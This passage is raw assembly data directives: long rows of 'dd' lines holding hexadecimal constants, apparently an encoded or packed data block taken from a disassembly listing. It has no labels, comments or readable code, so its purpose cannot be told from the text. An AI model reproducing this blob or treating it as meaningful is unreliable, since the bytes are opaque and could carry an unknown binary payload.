		dd 69D02900h, 31DFAE5Bh, 2EEA003Ch, 64EFADD4h, 2A00ED58h
		dd 43A0E66Eh, 7CF33Bh, 6807307h, 7620FF1Fh, 0A16F40Eh
		dd 0C58B407Dh, 0EB6192h, 2A914E17h, 6CF83037h, 0CB2BCE00h
		dd 0D3674175h, 99330073h, 575AD0DEh, 6A002187h,	51A65F09h
		dd 0E44E08C6h, 0C16F03B8h, 67E4BAC2h, 604FEBE0h, 1AFB0501h
		dd 6844BDD8h, 2502C8h, 54F7644Ah, 1E036669h, 0E7890800h
		dd 0F90FC685h, 4D4F0010h, 6818BAE2h, 0F8FE31B2h, 0AD0049E2h
		dd 0F062B034h, 0F829016Ah, 0B2640054h, 10240CDBh, 860067E8h
		dd 557550BAh, 12F3B91h,	3822F5D5h, 402E1004h, 0C4F278E2h
		dd 3A3F9400h, 0F4DAE445h, 0EE6A2E96h, 0A9F0001Bh, 795990AAh
		dd 19E5F100h, 0ED4B405Eh, 0F4263868h, 0DFEA503h, 51F01F8Ch
		dd 0D90197F0h, 89153D65h, 0BCC8F5Ch, 842401D4h,	0EB66ECA1h
		dd 0AFE8D490h, 43CC5600h, 9F0C62C6h, 5FFE4Ch, 0D4D68251h
		dd 993537AAh, 5A880207h, 32079D6Eh, 31566910h, 3EF83F84h
		dd 40E7C39Dh, 747F588Ah, 5C7C1228h, 9AEFF00h, 6B291B50h
		dd 3F840002h, 4461765Bh, 884CEE0Eh, 75400E9Fh, 3802403Ch
		dd 8C4F06h, 7C7FFF85h, 0CCD99DC7h, 0FAACCF00h, 0B815D39Fh
		dd 697970h, 2658E711h, 560580F0h, 4DB90102h, 0E1BA7FCDh
		dd 0C73F692Fh, 0B38069D4h, 0E4CCE884h, 0AA0014E8h, 9213D353h
		dd 0A32CFACh, 24F40852h, 70FC00E5h, 0A40F45E3h,	12FB307h
		dd 33D06DF7h, 3D3A20D2h, 0AFAE19E8h, 0B6F400AEh, 0FA0E3816h
		dd 1ADD3E00h, 0A0E7DC0Dh, 0CE00130h, 729F2DB0h,	0A639600Eh
		dd 58441A00h, 104686C2h, 5BC30012h, 0BDE6127h, 29005E90h
		dd 9697C714h, 7BC2516h,	0FEB818E8h, 98C8D013h, 0EC0099E3h
		dd 34D6373Bh, 16AFCAA4h, 11B080h, 0E9C13A95h, 0A6004D9Fh
		dd 38BED1D2h, 0F08BFFAEh, 0FD6E0021h, 0DEEECE22h, 7600EF5Eh
		dd 36404A3Ch, 73FC5FCh,	27895657h, 7FF7405Ch, 9D06E7D1h
		dd 0F899CA9Bh, 2447FAB8h, 0D6B5Eh, 0CBA3501Bh, 0B0004C4Eh
		dd 54C105F6h, 78410175h, 2DAA0029h, 5AD91996h, 783D1785h
		dd 0DFB0067h, 0D83B622Eh, 9FDA00C0h, 50127DC5h,	0D000A928h
		dd 597A8E90h, 15A5F25h,	802AF4D3h, 0D0C6AACAh, 67003164h
		dd 21D20BFFh, 8A249Eh, 13F80246h, 99E823ACh, 0B057E53Ch
		dd 0EA2112FAh, 94613920h, 985D9E03h, 0CA9883A8h, 10EE097Ch
		dd 95543200h, 6444A7D9h, 573A0E47h, 506012ACh, 86405C3Dh
		dd 0D0885F03h, 98E16392h, 67503h, 4648F82Eh, 766CCCA2h
		dd 97299800h, 0BCBAB662h, 55DC00EAh, 0ABD447CBh, 1872F88Ch
		dd 6BF9C000h, 0F20ACC88h, 951200E8h, 0C41A10E6h, 78F8779Fh
		dd 0D90070FCh, 0FBF2F87Dh, 761F0Eh, 0AB9BBB05h,	944A8C26h
		dd 8E7B9000h, 4B9FBC01h, 9DC400DFh, 0E8D602CBh,	0A6F259FBh
		dd 3C1C1900h, 20A864FFh, 6AA028Bh, 0F0CF22CBh, 61F056C3h
		dd 6C0524B1h, 8F9A289Ch, 62B01E87h, 0F732E76Fh,	0A8DAADCh
		dd 60537BE2h, 558C0094h, 5D892082h, 16297F00h, 3CE1FA2h
		dd 7D510068h, 0B22890FCh, 612C8C5h, 0CC0012F4h,	0CE390E16h
		dd 0ACB01CA1h, 0CB254920h, 4476C100h, 4C3FEB28h, 0E90D002Bh
		dd 0BF845FF7h, 6430031h, 0FEBAEAE8h, 0EC730C88h, 1CEB4500h
		dd 575302Dh, 0ACDA1E31h, 5CF100E8h, 3A7FD25Ah, 340A6E03h
		dd 0F8C825D8h, 1DFEB31h, 22BBE414h, 0C42E6440h,	0B40F2919h
		dd 9C2649h, 0DC75C3E0h,	0A6525851h, 5AFBCD04h, 0A08D80EEh
		dd 6000273h, 7D80DB31h,	727C9AEBh, 12CA000Ah, 42D10104h
		dd 8758A4ACh, 570C1FFDh, 0E948F7Ah, 0E99D009Ah,	3C610ABAh
		dd 0C6004454h, 5A18A104h, 9E7F8B59h, 15D8331Dh,	302AF880h
		dd 0E80A2274h, 803C0072h, 37097739h, 0C0F7DB6Bh, 6C003BE4h
		dd 12AC0B6h, 3E5080C3h,	1A0B9403h, 0D68AE958h, 46178Dh
		dd 1277A7DEh, 1077D4FFh, 390C093Dh, 26B3807Ch, 0AB74EA1Ch
		dd 4F1F0086h, 24C2ACDCh, 0C12488DFh, 6E029DFFh,	0E070523Ch
		dd 75015Ah, 0DE348D0Ch,	4A0F06D8h, 43F0B60Fh, 669D8024h
		dd 0F4406Dh, 0AA08CC6Eh, 7F88C111h, 0F1816F00h,	41276112h
		dd 4A1800CAh, 2102C604h, 93C2564h, 34D08E7Bh, 6919C066h
		dd 2C0111BEh, 3FE87Dh, 0B955D39Dh, 0DC074D87h, 97D5D129h
		dd 5D8DA330h, 20120061h, 0F29D1399h, 53007368h,	44F9800Bh
		dd 0B0C8D074h, 2A600EB4h, 40DE580Ah, 826FB4B9h,	0F70023EBh
		dd 1E575243h, 157480h, 48831B4Dh, 0F95BFBC3h, 24FAE800h
		dd 2D02B04Fh, 884E1F41h, 90F7C006h, 4B758DDBh, 0F1AF3Fh
		dd 9D038BCCh, 785848h, 92598043h, 60EAE2BDh, 723AE900h
		dd 2907C383h, 1E161E4Eh, 27033942h, 9DDBC89h, 0CA75D080h
		dd 0AF4D8D00h, 91A1F129h, 0E3B72E0h, 39907654h,	0AEA7842h
		dd 0D330F660h, 0F17B100h, 8F4257B5h, 22111E15h,	3D854010h
		dd 93ACE092h, 90017E0h,	0F70E79C0h, 29E8D8h, 51875E81h
		dd 65997E9Fh, 637B4B14h, 23EA0F90h, 53D180CEh, 3E0BA88h
		dd 520191FEh, 0D1DF220Fh, 0F055A9C2h, 0F8ED89B0h, 0EF0008FDh
		dd 3C96245Bh, 42EB05h, 2122C931h, 0F9042BB0h, 0A280AC0Fh
		dd 1235C0C8h, 38BCBEh, 5DD5D1Dh, 0E391CCDh, 93005279h
		dd 0F0713B13h, 6AD6B7h,	0EBCA5D5Fh, 7C95170Bh, 9053400h
		dd 0EABA74F6h, 3B710001h, 6F77E04Dh, 0C01901Ah,	0D605091h
		dd 2FC2A65h, 0E3291C97h, 0F24F8033h, 5FB686F9h,	5040411Ch
		dd 45C78880h, 1C52E04Bh, 0DF0431E9h, 0B7FC4086h, 274EB01h
		dd 6E98E103h, 0C047EFB3h, 1FF3F77h, 0DF450E9Dh,	0E5029038h
		dd 4440EE46h, 4E047E03h, 114DF5C8h, 4B31AC0h, 7773FCB8h
		dd 139EC92h, 0BA2576C2h, 0E08A4BB5h, 0C3001B75h, 0F5F41509h
		dd 8B0291h, 3BABE8Ch, 0F87B832Dh, 2229B81Ch, 53260FC0h
		dd 0B886FA50h, 46F201E3h, 0A9E8CF0Bh, 0C155207Dh, 462873Eh
		dd 0D9AB50C3h, 736FF680h, 0FD4F035h, 2024B211h,	34E6BF40h
		dd 9600F1FAh, 63824BD5h, 7B7D59E3h, 900C0111h, 0CE2E0809h
		dd 0E8D7F830h, 0E45C0F00h, 0F6034167h, 0CC7C00FEh, 1BD5169h
		dd 87009124h, 96CF38D1h, 52B785h, 0C564FA48h, 0A4A7C4E1h
		dd 391F5E00h, 0F09401DAh, 100200BBh, 0E3D44513h, 0D300277Dh
		dd 0E05AB67Ch, 3ACA2BC1h, 0D6603B78h, 0F8E3321Ch, 4D759100h
		dd 3EE6EAEh, 0F685008Dh, 7B9854EFh, 0C0F57EBh, 0C05C40h
		dd 2C23B38h, 437D7Ch, 0DDDB0330h, 645157B2h, 62722F00h
		dd 0A6B4BA7h, 0AA470095h, 0EC7D4F39h, 923E2A34h, 0EEB0F2Dh
		dd 2563E08Dh, 0E419F6h,	4118C5Eh, 3490DCA4h, 7ADD6105h
		dd 61870DD8h, 8EE84B20h, 0FBC100A5h, 0D92A1179h, 351CDC01h
		dd 16C0D848h, 0AA406EBh, 5A050013h, 89CA0495h, 8400EE11h
		dd 681C9D0Bh, 562E74h, 45C68510h, 7E1EBAFFh, 730018ECh
		dd 0FA3B0C4Dh, 47203Ch,	0F841F940h, 0E8FE0581h,	3AD48200h
		dd 6939FFB8h, 0EE80000Eh, 0D2121936h, 600E92E7h, 471603D5h
		dd 0D14020C2h, 9FE810h,	0AD6CD61h, 0DB307828h, 0C8AE0660h
		dd 0EA4714Fh, 0DD180886h, 1A79B40h, 5EF2CB8Ah, 3B6A4C58h
		dd 39A4BB80h, 92718770h, 8BC09757h, 881EC5h, 66517231h
		dd 0FDC79A5h, 0CF094F07h, 57D010D5h, 278461h, 7E811575h
		dd 456744A1h, 37E3C000h, 97173259h, 2B8E0056h, 88723810h
		dd 407CDAF4h, 915FF800h
		dd 0E1E44D28h, 0A6F4C8h, 4FE083C1h, 21D00C03h, 0C7D91401h
		dd 0D64BEB4h, 98CE60F8h, 0B585001Dh, 0B9157672h, 0F0F0190h
		dd 0A15AF120h, 0AED6E8B8h, 7C508D47h, 13F8B2h, 66FA6C14h
		dd 0D8FE28E7h, 0AAFD7000h, 3F1A40A7h, 0CD9A0162h, 8D7FE007h
		dd 3431EC04h, 2EE4C50Fh, 7DF821E5h, 68800DFEh, 21B58682h
		dd 167ABD3Ah, 7E772700h, 72052026h, 787A67h, 33F0CE0Ch
		dd 3F6C18FBh, 81C7FC00h, 0FE465C3Bh, 94620077h,	17904815h
		dd 30070E7Eh, 5C036618h, 41FE4E21h, 0F775F8h, 0A4D2C3Ch
		dd 0A0C18B49h, 0EF996700h, 6DF16963h, 3F7C13h, 0DC8D39D1h
		dd 0F06A2BF2h, 6CB14012h, 0F3FD2B00h, 0C36231h,	23EE810Ah
		dd 857524D9h, 7F144905h, 0B5C5FD45h, 76A39C3h, 0A8427C6Ah
		dd 7791F073h, 62037BE2h, 0B1B8461Ch, 0D21BE0AFh, 0E83C392Ch
		dd 61BA1480h, 0F82DF410h, 6CE7201h, 75FF085Dh, 0C60B0EFh
		dd 0C0E8076Eh, 0D0B6FDA2h, 0C985EC82h, 2B127F71h, 0DF075ED0h
		dd 64E00D2Ah, 5BB35F4h,	8C063757h, 902BC0F0h, 7034612h
		dd 497D834Ah, 819DE0A5h, 0B1F90017h, 7C660F3Ah,	0E90206BEh
		dd 90109ED3h, 12FDC071h, 19130052h, 0F2BCED7Dh,	5004672h
		dd 8EACBA66h, 7B3182h, 9A2FB3A9h, 0A7504C3h, 4DFFB905h
		dd 0EE000DDEh, 3E6B322Eh, 74410764h, 132A56D8h,	10B04490h
		dd 503B55Ch, 0FCC12DA4h, 2E098F0h, 481E005Eh, 0E64B5288h
		dd 5000CB2Ch, 6D07625Dh, 0F14110Eh, 74778693h, 4C9CC840h
		dd 0B400AD4Ah, 8CEC465Dh, 103B63h, 15640B72h, 4002291Ch
		dd 7FDFEB1Fh, 1A388AC0h, 7DF80CC8h, 64F1001Bh, 4BF41626h
		dd 0F207BA5Eh, 514E444Ch, 342507D0h, 8060094h, 50FE1391h
		dd 205C67FDh, 575E0011h, 2590E9D6h, 0B47E00E0h,	27E85082h
		dd 0BB019148h, 9D0EED4Ch, 99F3540Ah, 43FC2B63h,	0DD530F1Fh
		dd 28E7A65Ch, 5016230Fh, 0EE09F9D8h, 0E8141002h, 6061C720h
		dd 1EDD8015h, 0C337B81Ch, 9689F104h, 0EC46C3F9h, 0AC1F0EBEh
		dd 4B009235h, 5C7A68B0h, 0A28D0071h, 0FD267712h, 9A1ECD2Fh
		dd 514058B5h, 3894492Eh, 4FFF0022h, 2DF6F3C3h, 0AF001109h
		dd 0D79E7323h, 51D0C8h,	6A621EB6h, 9499F502h, 41585700h
		dd 0E08A6505h, 0F8F6EBh, 3260B63Eh, 50895951h, 0D09F0300h
		dd 64EBDFDBh, 1012000Bh, 6233DAB0h, 6B00A7C9h, 94C65565h
		dd 1A40D5Ah, 0B87604D2h, 0DC8DD34Ch, 48000AE2h,	0CC264A01h
		dd 0EE51554Eh, 877EA6h,	5277E84Fh, 0DB4D3FE3h, 0C8004AECh
		dd 142FBECBh, 58C64175h, 551C1E44h, 0B7D0C06Ah,	7C4CB950h
		dd 94613Dh, 444303BEh, 2CDFE848h, 0F2CD24h, 0C4C6A9B9h
		dd 400923AAh, 80857CF0h, 0A00AB5B2h, 197F6C7h, 5F0EFC43h
		dd 0C8FB14F4h, 0AE02750Dh, 44748861h, 5064090h,	9B7BB9h
		dd 0F859F913h, 0EC020698h, 64AC0405h, 1DEEE4D0h, 574ECF28h
		dd 4B6F7181h, 0C9606042h, 2A001E75h, 2E8F039Eh,	0FC1CE9h
		dd 73706C85h, 0B19C7508h, 3A62860Bh, 0E1550077h, 0EE36B6Eh
		dd 8B1CF3CBh, 1D8866A5h, 0F633C7A8h, 6CC60B8h, 3000077Eh
		dd 3C961F74h, 0E2ABB49Dh, 0F0440187h, 0A59B3C5h, 0F6823FCEh
		dd 2E10C08Bh, 2AE200B5h, 0B297C44Ch, 590F44CCh,	40D4E542h
		dd 0D0112CF2h, 29FF0012h, 0C948A40Ah, 3300AF22h, 581CE1D2h
		dd 48901h, 0B9B31F56h, 77ECE23Dh, 0DF5E3Dh, 0ADE676A2h
		dd 7CD5B4ACh, 8F170FF0h, 0FCA53878h, 0C6CDC048h, 2900A4B9h
		dd 90BBA27h, 0E1F9BAFh,	5DA2D77Dh, 8F806EEFh, 0CEFD3C41h
		dd 0C80720E9h, 54046A00h, 37503056h, 0DF442568h, 16245500h
		dd 420099BAh, 90A4D4B8h, 7F4ACC7h, 4A045698h, 0FB8069FAh
		dd 80102903h, 0AA2CA500h, 0E5784296h, 0BC7E0094h, 28DC4E54h
		dd 98008C31h, 0A6869B88h, 13BA4AC6h, 7A6A42h, 5EA52FF7h
		dd 70FACACBh, 8902807Bh, 0C2D40E09h, 825AC0C1h,	25E43Dh
		dd 75B0A166h, 0E80C5E5Ah, 0DDD0F00h, 13C4F330h,	0FEDB0016h
		dd 0C32FC2D9h, 0C0003506h, 0F448A23h, 2CFF1Eh, 8F1A4E47h
		dd 0BC16CC20h, 54FEF80Fh, 9300F2C4h, 0F9558388h, 0FAE900AFh
		dd 0D8434B5Fh, 2743B53h, 0D27E3Eh, 0C7256A4Ah, 55AE9Dh
		dd 0EB41120Eh, 0A30FE620h, 144D0500h, 24731682h, 2210032h
		dd 774CCE54h, 2B005033h, 0B78EF44Dh, 7E9FBE0h, 0BA6DC53Bh
		dd 8DC0C084h, 29005077h, 0B75AF7E8h, 5C63B9C4h,	9000940Fh
		dd 1F783352h, 55007EEBh, 4882694h, 7121179h, 0A2C314A4h
		dd 0FA56F003h, 4E039FACh, 30E2B810h, 7459D898h,	736B040h
		dd 0C4370E64h, 0F9A9B028h, 0DF900FF0h, 8E006174h, 22AF2516h
		dd 471C4D6h, 0BAF0207Ah, 0A8FC04h, 671CDC4Dh, 2C5EC64h
		dd 1A0C5903h, 1EE0B879h, 373E14CEh, 0B4080065h,	0B648E82Ch
		dd 20990024h, 522D1DCAh, 4BE870A9h, 80E71000h, 0A8C48106h
		dd 0BB3A00FBh, 5EDA90F5h, 850054E0h, 24D6D07Ah,	710BCF8h
		dd 810D48D7h, 411BF0BDh, 1C00752Fh, 0EE5C987Ah,	0E88BFD44h
		dd 25A000D4h, 469437E8h, 23017542h, 0EC971C9Ch,	48F02259h
		dd 4F6100B5h, 95A0056Ah, 90014EBh, 4A339D2Bh, 20CCC5h
		dd 0E85CB227h, 45759331h, 8842D01Fh, 24FEF300h,	11196h
		dd 0BB125F22h, 130A7C54h, 2D05BF00h, 0A915A685h, 0E809003Ch
		dd 69D61C4Fh, 0BB002145h, 0E0F31E12h, 0B5D831h,	0CE4D59E3h
		dd 36D022Bh, 832EFF00h,	4B58BFD5h, 26360065h, 3F9DA4C2h
		dd 5D0038A1h, 0FB40254Eh, 0ECF32DEAh, 4947000Ch, 0F4A49541h
		dd 0A1FE3B6h, 28C01B6Bh, 0C896C0Dh, 0F8C60F67h,	420CAACh
		dd 0B026CC91h, 0B4448600h, 9F6BBF06h, 0A4B800D2h, 54FBC10h
		dd 0C0509DA5h, 6FCC4B6h, 0C800BDEAh, 8D22CC64h,	90504AA3h
		dd 0A48C0EDCh, 0BC40BA86h, 60078B63h, 806BC63Dh, 520FB6B4h
		dd 2E01A6h, 45859009h, 0D98C6FC0h, 242C4C00h, 6A107944h
		dd 0D0A10013h, 7F80F0C2h, 1A012A61h, 409F0F2Fh,	9A70C8C4h
		dd 7A9700CFh, 0E6B4035Ah, 6A7F2736h, 8ACA5100h,	7CE966A8h
		dd 10680013h, 99EDA920h, 7B00480Bh, 494F1191h, 0EA406E43h
		dd 98FAD3h, 0D217A33Bh,	8D7D30ABh, 0B3044700h, 9BBA693h
		dd 0DDDB0184h, 742D2915h, 90DE4302h, 0E65A41B8h, 7D4A7200h
		dd 5212C3Dh, 4D6E008Bh,	3B022408h, 0F5000789h, 0C3C7B5FCh
		dd 5810DBCFh, 5A009471h, 0EC598B7Eh, 8003A234h,	0FC9182B7h
		dd 0F3C095B4h, 3E6CFEh,	5A8F59F5h, 7E03C48Dh, 0BAF82000h
		dd 5292B102h, 9A7E6B7h,	78800498h, 0BE00AA74h, 691B6693h
		dd 168D0034h, 0F254090Eh, 52000429h, 0BA086365h, 36A1D79h
		dd 331720F3h, 16C309DBh, 0E0D62BC8h, 0FB803F07h, 3BC07F06h
		dd 2E5DDD34h, 0DF8E4h, 150F0EF1h, 0C3010C8Bh, 85B0D8E8h
		dd 0FB709CB8h, 0DAE63A5Dh, 0EF1DEB8Ah, 2EC6059Dh, 0FDDBC0D3h
		dd 55B88B04h, 77FA8503h, 806DE41Fh, 0C7089h, 0A0915A59h
		dd 8880B494h, 0E42D0A03h, 0A281A54Dh, 0D0B88053h, 67744Ah
		dd 600F060Bh, 7216EA83h, 0EB100403h, 90F8A123h,	0E421DDDFh
		dd 74400FCh, 0C50477C1h, 340062C9h, 0CFF14858h,	247DC752h
		dd 0ABDC50h, 0BCE9776Eh, 0BF01D35Fh, 0F3E07432h, 6F83CCCh
		dd 0CFE200FCh, 297FB0C4h, 0BD00C27Ah, 168F720Ch, 67E8D3h
		dd 0D40DA092h, 0C0A10BB9h, 0AF001898h, 0E43B57F0h, 7667DC6h
		dd 0EECF869h, 100BC33Fh, 927CF4D0h, 50E88060h, 555AC01h
		dd 68C1A1E0h, 0FB0A8058h
		dd 0FC00EA51h, 0A5666F64h, 0B191CEh, 117FB762h,	0D3D52DE0h
		dd 0F0466909h, 60558041h, 894831h, 5BB56FCCh, 0B9BC72AAh
		dd 8C41FC2Ch, 63A6813Dh, 0C183040Ah, 1F2DF4CCh,	3AFDBBh
		dd 9AC02456h, 8900AF4Eh, 0B683252h, 0F61F41Bh, 0D61D655Ch
		dd 6A0D4680h, 8403FB91h, 0FE1EDDEAh, 2353D814h,	3C100055h
		dd 8EEB7C72h, 0E204471Fh, 0BB379F33h, 0C13596C2h, 10203030h
		dd 408C012Fh, 0E424AA25h, 0B095201Dh, 36C30307h, 5E50604h
		dd 2B30487h, 9D09CB08h,	200C9C03h, 160EF80Dh, 1A840090h
		dd 687013E8h, 93EE6675h, 3825B10Fh, 84FEE0D8h, 985C8A9h
		dd 54CEE6EAh, 86AC7080h, 4839B042h, 84A9032Ah, 0BB298267h
		dd 2EAD812h, 7B8300A8h,	0F7F6114h, 7C00A522h, 0B4496847h
		dd 589C88h, 26961873h, 782F7024h, 0C748018h, 7D6212h, 15235AF0h
		dd 87B3850Fh, 0B614B17h, 0A6164307h, 2470E471h,	719684FCh
		dd 66D900A4h, 0A114B8FCh, 2500DA48h, 658B378Dh,	32E0A95h
		dd 0E81F39B9h, 16E02AA7h, 2098B464h, 57335007h,	0C0C0BE8Bh
		dd 3AC4443Ah, 3DBC990Bh, 4210C883h, 0B5F87DCCh,	522D0DD0h
		dd 7F5500D4h, 1F883386h, 0A1AC44h, 8DCABCE4h, 89E82410h
		dd 96633401h, 5AEB2948h, 0E9490D4h, 5C4A98C8h, 0A0C09CCEh
		dd 0A832A4C4h, 0C1F317Eh, 95D8102h, 265C80CCh, 0E0696285h
		dd 6E606E22h, 0A702A68Ah, 0BA8918C9h, 4963E003h, 3CB700BEh
		dd 0E9CA8BD5h, 65FCD28Ch, 0DDBC7400h, 0B327ED7Ah, 8343077Ch
		dd 39EFC89h, 0C2B8D00Bh, 0CB0103FDh, 74917208h,	3430641Dh
		dd 2273002Ch, 0EFA85EC3h, 0F400553Bh, 5969CCA7h, 17D73017h
		dd 0FDED83h, 0E1E0DD7Dh, 0A176F001h, 7D0B6600h,	855EA488h
		dd 5D4000A5h, 38FF4C15h, 61DB292h, 0BE004657h, 8835905h
		dd 0C99407F0h, 0F7CDDBh, 8257E815h, 0F6B82503h,	0B0216ACAh
		dd 7F90C432h, 858400D4h, 0AC456C26h, 0F67F8139h, 0FECA9800h
		dd 4DA2A32Eh, 0A1D81D42h, 0DF670180h, 0CC202162h, 5600FC44h
		dd 0C77FA719h, 728D0C1h, 54FA4802h, 8320FE0Bh, 50798A98h
		dd 3AA9A83Eh, 183DD8h, 0D1E88980h, 1788B6h, 948A8278h
		dd 7F913967h, 9E4C2100h, 0DDA5E0ECh, 851C4889h,	0FECB1907h
		dd 3D10A032h, 2A0040C6h, 9F09010Ch, 72350671h, 0C5B00372h
		dd 131A65B4h, 9226BBE8h, 0A9A73400h, 8FA8DA24h,	0E47D56h
		dd 0D8449821h, 0DF23E828h, 9D2AB60Fh, 0F4C2A0AAh, 96CDDC0h
		dd 415782FFh, 8A503201h, 0B1AA3054h, 58AE6100h,	0EE6DA2Dh
		dd 60D000A3h, 549E1042h, 8F0009D4h, 0C7D82808h,	0DC940Ch
		dd 0BE0B846h, 1407529Eh, 8080B93Bh, 9C696E3Bh, 10E68Eh
		dd 0C4B632BEh, 80661397h, 7AC23C02h, 60E07760h,	0E18A64h
		dd 4CA29179h, 40F56E42h, 4EF73900h, 8598DFEBh, 27C00F6h
		dd 300C8A12h, 914CE181h, 444849h, 44B2E906h, 1C26CE2Ch
		dd 80800140h, 83490579h, 4100FEC9h, 4FBB07Bh, 102B207h
		dd 658A13EBh, 7A4A3C38h, 2FC224C0h, 6C5E035Fh, 423796C4h
		dd 0B563DD8h, 0F0074EAh, 0D6E2C7F6h, 0FE8F4Ah, 0A79A2D7h
		dd 1EC93390h, 5607C500h, 2FCCF814h, 5C1F1C1h, 0BB5460h
		dd 9CF04CB4h, 0F21217A0h, 537A8E00h, 0BC4E1440h, 568B5884h
		dd 0DA1C3100h, 479130AFh, 25FE3F00h, 0ABDE13F8h, 0BBAA0716h
		dd 0B0B6F117h, 72012C02h, 8E741500h, 3947CEA8h,	0BC70049h
		dd 0FADC7516h, 0E800F43Ch, 0BC8AC52Ah, 6C8D24h,	0ACBE0460h
		dd 6C70375h, 0EDCC0900h, 0F8463F1Eh, 0F5F2A3h, 0E312F713h
		dd 89028D61h, 965C66F2h, 951D003Dh, 0FFE281C3h,	0EFE50203h
		dd 0BFFC6284h, 60E8F7C1h, 4E00ACEBh, 37D7A06Ah,	3B159449h
		dd 88009547h, 2AF509F7h, 0C3000F73h, 50085EF9h,	1D5540C5h
		dd 409C926Ah, 0F6013347h, 8A0025EBh, 0D1063544h, 7D05Ch
		dd 72D8042Ah, 87884316h, 82CDF53Fh, 0AB0D4926h,	0CCF26007h
		dd 0B7500CBh, 2C683EEh,	0E003255Fh, 7A2A1D0Ah, 0CC50F040h
		dd 5A1800AAh, 0B9A8285Dh, 10EC086Bh, 75496900h,	6D53F92Ch
		dd 7C9842h, 0FBE82A14h,	0BF1BEAFAh, 4500B1F6h, 0E05135Eh
		dd 1567DAh, 22EB92C7h, 7940505Ah, 0DF14BA00h, 0B3C35281h
		dd 1F5C001Dh, 74ECB808h, 331329ADh, 13004F79h, 0A51BBA9Bh
		dd 2AB40022h, 0A28670B9h, 0DF0353F0h, 308A0448h, 341CF899h
		dd 138207EEh, 807DE949h, 0F1A24C3Ah, 1400B1F0h,	1D0FBA2Ch
		dd 0F88AB788h, 4131EF2h, 3C0EC02Eh, 0E44AA9F3h,	196E4C16h
		dd 0A280351Dh, 2FB120F4h, 0A51D01BAh, 0C8F59037h, 88A4FCDCh
		dd 0D11F3Bh, 2D7B5D3Ch,	0E468A3h, 0F8B8292Ah, 8D4C4D2h
		dd 2044B41Fh, 5AC8007Bh, 0B804EFD8h, 942860FCh,	6D1EBA3Ah
		dd 751FB77Bh, 0CCDDD022h, 53CFB3Fh, 1AB83155h, 8FF26272h
		dd 0CF29CFEDh, 3C3FDE0Ah, 0F8510108h, 0F48ACB3Dh, 79C865E0h
		dd 34251D72h, 0D64A8047h, 0FC1A469Dh, 45E4BA00h, 1FB263D3h
		dd 0CA143EF0h, 643FC403h, 87A96823h, 0A675DC10h, 57721F0h
		dd 3CC0E507h, 0BA90F462h, 0F847FCh, 3A8A0CF2h, 6EE24C3h
		dd 68001B7Ch, 100A211Ch, 0CB8F4h, 0CF66A5C9h, 1D29EB2Bh
		dd 0F928912Ch, 0F949DA00h, 4160F0Ch, 7DB875F0h,	0DDABC0E3h
		dd 0F500BA99h, 0B2F46E29h, 0ECA4A4Eh, 0CC3025D4h, 6D064400h
		dd 647D2F39h, 43FCDD0Fh, 30E2358h, 722CD020h, 266C3E3h
		dd 0CE8618Ah, 1D007051h, 96684C42h, 60F6F924h, 4120D831h
		dd 501E724Dh, 51004AE1h, 0B88B440Fh, 3AB3008Ch,	0DB84CE52h
		dd 7300FB19h, 530B108Eh, 262CCBBh, 37811D7h, 65404B7Fh
		dd 77008312h, 859F2AC6h, 0E2D0EB43h, 88680053h,	3F094091h
		dd 0B2007548h, 98F1864Ch, 1531821h, 0A32347E8h,	0D925BD38h
		dd 5A06EC3Dh, 0B60A5Ch,	13406974h, 3D21E992h, 3E7CA84Bh
		dd 73030744h, 8F72466Bh, 617053E8h, 45F86300h, 0A2416478h
		dd 97AB1D10h, 0B2C2C0BBh, 58045D6Ch, 0C800E698h, 0C798928Eh
		dd 3011DC42h, 0E46E8924h, 0DAC1B0E8h, 22A88F93h, 4844E0F8h
		dd 31075DA0h, 0B0189198h, 21286490h, 4048881Eh,	5C328085h
		dd 0F4268800h, 3C704431h, 6887C8FCh, 9E601C9Dh,	58891040h
		dd 24033C12h, 61884C50h, 9178D048h, 7C403011h, 2C993864h
		dd 131E30F0h, 2841220Ch, 24D22045h, 31848C4h, 10B1B899h
		dd 0A2077813h, 51706E08h, 0C0BC3153h, 77B361F8h, 30F03D81h
		dd 0E80318BCh, 48D4BE01h, 28E0548Ah, 223E29DFh,	88DC0FA1h
		dd 0C4666019h, 24B044D8h, 33A6267h, 0D0183238h,	0CA88CABh
		dd 801D24CCh, 601DC872h, 45FC41Fh, 0ACC03C4Eh, 0EBC2484h
		dd 0B8249912h, 0B4396883h, 0B0A3D4C3h, 0CE9CCE3h, 0F58CF5ACh
		dd 0E4F0F5A8h, 0D0FCA43Ch, 0CFA01CCFh, 0CF9CCF34h, 9830C7C8h
		dd 940F4CE4h, 905CC4CCh, 8C39A3A0h, 88E87CFCh, 24CF48FAh
		dd 38E0AC84h, 7CEFD80h,	1CF47Ch, 68281178h, 89740F18h
		dd 70EE4C04h, 0DEBF64AEh, 0FBFAC6Ch, 44ED683Ch,	0F8FAF71Eh
		dd 5CF36007h, 2FE2F84Dh, 3EC8F274h, 0CBA9458h, 0CFF454BAh
		dd 60475014h, 914CF13Ch, 0F840F930h, 0EFFD1814h, 0CAF0BCF3h
		dd 9FC700Ah, 7D97E800h,	81BA2098h, 80510995h, 0E0803F60h
		dd 7446724Eh, 36BC4105h, 0FA8025B9h, 74450AB8h,	0F3133AFCh
		dd 4A82F980h, 0A4095517h, 10015F01h, 0D2B8057Dh, 7EC099E9h
		dd 0B1483907h, 0E5500C02h, 5A40800Fh, 202107Dh,	18BF0372h
		dd 2C7F40FBh
		dd 9B831F4Ch, 0D0FCC08Bh, 282DF876h, 317FFF00h,	86730232h
		dd 0F3E11CC8h, 0B48D007Eh, 4AA87449h, 66FC400Fh, 0EBA4A2C1h
		dd 0E76D6123h, 0B0B60FC0h, 0FB80009Bh, 0BC37401h, 9007704h
		dd 6C30BFF3h, 7EB03Bh, 1AB8B302h, 4F9D140Dh, 2F588E0Fh
		dd 8C44A0A1h, 10917BEh,	763352A3h, 0E011D825h, 88028F4Bh
		dd 0AAC81B1h, 2B57E0C0h, 0C3B01F82h, 86E64084h,	2D3D1480h
		dd 6D55AA12h, 0E04DFC0Fh, 0CA83BE5h, 11F007Fh, 7CFDF983h
		dd 0C97E0B1Ah, 4E861C00h, 4A3E80AAh, 0A0401F27h, 0F766C02Fh
		dd 0D8F320D9h, 0BF1CEB00h, 8F42C311h, 19740091h, 2F8E2C5h
		dd 8A001508h, 6623A2E0h, 0A20E86ABh, 2A54C0C3h,	4081007Fh
		dd 0E3FE3306h, 2B00F225h, 5EAB6293h, 0F48A0B14h, 8B8C0F29h
		dd 116049D2h, 2BB48719h, 86081C01h, 27204EAh, 0EB09330h
